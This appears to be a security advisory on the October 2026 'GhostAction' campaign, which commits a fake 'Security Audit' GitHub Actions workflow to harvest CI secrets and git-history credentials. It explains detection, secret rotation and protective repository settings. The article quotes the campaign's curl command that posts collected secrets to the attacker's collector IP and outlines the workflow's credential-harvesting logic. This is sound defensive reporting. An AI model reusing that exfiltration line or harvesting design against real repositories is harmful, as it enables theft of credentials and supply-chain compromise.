GhostAction, the campaign that steals CI secrets by committing a GitHub Actions workflow into other people's repositories, is back. On 8 October 2026 two compromised maintainer accounts pushed a fake "Security Audit" workflow to 345 repositories in two automated sweeps, the larger of which took 16 minutes, with uber/athenadriver among the targets (StepSecurity). By 9 October, Socket had found more than 500 accounts committing the same workflow to tens of thousands of repositories since 7 October (The Hacker News, Socket).
The new variant does not stop at your Actions secrets. It checks out the full git history and greps every commit for cloud and API keys, so a key you deleted two years ago is in scope. This article explains how the attack works, how to tell whether your repositories ran it, what to rotate, and which GitHub settings would have stopped it.
Nothing here needs a GitHub vulnerability
The attacker logs in as a real maintainer, most likely with a personal access token leaked through infostealer logs or a credential dump, and commits a workflow file to the default branch of every repository that account can write to (The Hacker News). GitHub then does exactly what it is designed to do: a push to a repository runs the workflows in it, with the repository's secrets available.
The October workflow is named "Security Audit" and lives in .github/workflows/security-audit.yml. It triggers on workflow_dispatch and on any push to any branch or tag, and checks out with fetch-depth: 0, so the runner has every branch and tag (StepSecurity). Its single step does four things:
- Appends the values of the repository's named Actions secrets. The attacker reads the existing workflows first to learn the names, then templates them into the file before committing. In
kitao/pyxelthey wereCARGO_REGISTRY_TOKEN,PERSONAL_ACCESS_TOKEN,PYPI_PASSWORDandPYPI_USERNAME(Socket). - Greps the working tree for 13 credential patterns: AWS key IDs, secret keys and session tokens; Anthropic, OpenAI and OpenRouter keys; GitHub and GitLab tokens; Google, Slack and SendGrid keys.
- Runs
git log -p --alland greps the same patterns across every commit, up to 300 unique hits. - Captures two lines either side of every
AKIAorASIAkey ID, betweenAKIA_CTX_STARTandAKIA_CTX_ENDmarkers, so the matching secret key comes along.
Everything goes out in one request to a bare IP address, so there is no DNS lookup to catch (StepSecurity):
curl -s -m 20 -X POST --data-binary "$full" "http://193.32.204.199/?c=new" || true|| true means the step succeeds whether or not the upload worked, so the run looks green. On uber/athenadriver the run started three seconds after the push, and the collector answered OK about four seconds later.
Deleting a key from the code does not remove it from the repository. This workflow reads the history.
The September numbers show how far a quiet wave gets
This is not the first wave. The original GhostAction, in September 2025, stole 3,325 secrets from 817 repositories (StepSecurity). Between 31 August and 30 September 2026, GitGuardian counted 772 public repositories from 373 users and organisations carrying the workflow, with 2,577 secrets targeted (GitGuardian). The secrets it was after were mostly infrastructure, not API keys:
Source: GitGuardian, GhostAction returns (October 2026)
| Secrets targeted | |
|---|---|
| SSH keys and deploy server credentials | 446 |
| Azure credentials | 218 |
| Container registry (Docker Hub, GHCR) | 142 |
| Database credentials | 112 |
| AWS access keys | 106 |
| FTP credentials | 92 |
| Google Cloud and Firebase | 80 |
| GitHub tokens | 66 |
Most of those workflows never ran to completion: of 3,669 runs across 605 repositories, 336 completed and exfiltrated 26 secrets from 13 repositories. The part that should worry you is the clean-up. By 5 October only 124 of the 772 repositories, 16%, had removed the workflow from their public history (GitGuardian). A workflow that triggers on any push runs again the next time anyone pushes.
| When (UTC) | What happened | Source |
|---|---|---|
| 4 Sep 2026 | Current collector, 193.32.204.199, first seen in honeypot logs | StepSecurity |
| 8 Oct, 13:20–13:44 | kitao account pushes to 27 repositories | StepSecurity |
| 8 Oct, 21:10–21:26 | henrywoo account pushes to 318 repositories, 279 of them forks | StepSecurity |
| 9 Oct | my-github[.]com registered, resolving to the collector IP | OpenSourceMalware |
| 9 Oct | Over 500 accounts, tens of thousands of repositories since 7 Oct | Socket |
Check whether your repositories ran it
Start with code search across your organisation. StepSecurity's queries for the GitHub web search, Code tab, match strings that only appear in this payload:
org:your-org "AKIA_CTX_START""c=monami""193.32.204.199" path:.github/workflowsFrom a terminal, gh can look for the known file names. It uses GitHub's legacy code search engine, so results can differ from the website (GitHub CLI):
$ gh search code "AKIA_CTX_START" --owner your-org$ gh search code "security audit" --owner your-org --filename security-audit.ymlCode search only sees default branches. The workflow runs on a push to any branch, and forks inherit it, so check runs as well. This loop lists every run of the two known workflow names in each repository you own:
#!/usr/bin/env bashset -euo pipefailowner="${1:?usage: find-ghostaction-runs.sh <org-or-user>}" gh repo list "$owner" --limit 1000 --json nameWithOwner --jq '.[].nameWithOwner' |while read -r repo; do gh run list -R "$repo" --limit 200 \ --json workflowName,event,conclusion,createdAt,url \ --jq '.[] | select(.workflowName == "Security Audit" or .workflowName == "Github Actions Security") | "\(.createdAt) \(.conclusion) \(.event) \(.url)"' 2>/dev/null | sed "s|^|$repo |" || truedoneThen look at the history of the workflow directory in a full clone, which covers every branch and catches the other file name, security-check.yml:
$ git fetch --all --tags$ git log --all --date=iso --format='%h %ad %an %s' -- .github/workflows \ | grep -Ei 'security (audit|check|scan)|actions security'The commit messages to look for are "Add security audit workflow", "Update security audit workflow", "Add Github Actions Security workflow", "Add security check workflow" and "Trigger security scan". They are committed under the real maintainer's name and are unsigned (StepSecurity).
Rotate what the history sweep could reach
The order matters. If you rotate the repository secrets but leave the stolen maintainer token valid, the attacker pushes the workflow again and collects the new values.
- Revoke the credential that pushed the commit. Revoke that person's personal access tokens, OAuth grants, SSH keys and sessions, and re-enrol phishing-resistant MFA (Socket).
- Delete the workflow from every branch and tag, not only the default branch, and check forks before enabling Actions on them.
- Rotate every named Actions secret in the affected repositories.
- Rotate every credential that has ever been committed, on any branch, using a history scanner (below) to find them.
- Freeze releases until the publishing tokens are rotated, and compare recent PyPI, npm, crates.io and container releases against your own builds. As of 9 October, no malicious package releases had been seen, but pyxel's PyPI and crates.io tokens were exposed (StepSecurity).
- Check what the stolen AWS keys did with CloudTrail (below).
A history scanner such as TruffleHog walks every commit, not just the current tree:
$ trufflehog git file://. --only-verifiedCloudTrail can list the calls made with a specific key since the start of the window:
$ aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIAEXAMPLEKEYID \ --start-time 2026-08-31T00:00:00ZLook for new IAM users, new access keys and activity in regions you do not use (Socket). Finally, block 193.32.204.199 and my-github[.]com at your proxy and search egress logs for both, including from self-hosted runners (OpenSourceMalware).
The settings that would have stopped it, and the ones that would not
The attacker has write access. Any defence that trusts a collaborator's push does nothing here, and several familiar settings fall into that category.
Fork approval does not apply. GitHub's "approve workflow runs" setting covers pull requests from forks by outside contributors (GitHub Docs). A direct push by a maintainer is not a fork pull request. StepSecurity did see one repository, typecho-fans/plugins, where the runs stalled in action_required because the repository required approval; it was the only control observed blocking the campaign, and it is worth finding out which setting that was before relying on it.
A read-only GITHUB_TOKEN limits damage but does not prevent theft. On uber/athenadriver the token was scoped to contents: read, so the workflow could not push or publish. It still sent the secrets.
Per-workflow egress controls do not help against a workflow the attacker wrote. An egress allowlist added as a step in your own workflows is not in theirs. Network controls only work here if they sit outside the workflow, on self-hosted runners or at your network edge.
What does work is making a push alone insufficient to get either a workflow or a secret:
- Block direct changes to
.github/workflows/. A ruleset with the "Restrict file paths" rule prevents commits that change matching paths from being pushed, usingfnmatchpatterns such as.github/workflows/**(GitHub Docs). Push rulesets are documented for private and internal repositories on the Team plan; check what your plan offers. - Require pull requests and code-owner review for the default branch, with a
CODEOWNERSentry for.github/workflows/, so a new workflow needs a second person. OpenSourceMalware recommends the same ownership rules for.github/workflows/**(OpenSourceMalware). - Move publishing secrets into an environment with required reviewers. Environment secrets are only available to jobs that reference the environment, and a job cannot read them until a reviewer approves it (GitHub Docs). An attacker can name the environment in their own workflow, but the run then waits for a human.
- Stop storing long-lived publishing tokens at all. PyPI's trusted publishing swaps an OIDC identity token for a credential valid for 15 minutes (PyPI). There is no
PYPI_PASSWORDfor a workflow to dump:
name: releaseon: push: tags: ["v*"] permissions: {} jobs: publish: runs-on: ubuntu-latest environment: pypi permissions: contents: read id-token: write steps: - uses: actions/checkout@v4 - run: python -m pip install build && python -m build - uses: pypa/gh-action-pypi-publish@release/v1What to do this week
- Search your organisation for
AKIA_CTX_START,c=monamiand the three workflow file names. - List workflow runs named "Security Audit" or "Github Actions Security" in every repository, forks included.
- If you find one: revoke the pushing account's tokens first, then delete the workflow from every branch, then rotate.
- Rotate every credential that appears anywhere in git history, not only in the current tree.
- Block
193.32.204.199andmy-github[.]com, and search egress logs since early September. - Protect
.github/workflows/**with a ruleset or required code-owner review. - Move publishing credentials into reviewed environments, or replace them with trusted publishing.
- Expire and scope personal access tokens; the whole campaign runs on ones that leaked.
The one thing to remember: in GitHub Actions, write access to a repository is read access to its secrets. Protect the workflow directory as carefully as you protect the secrets themselves.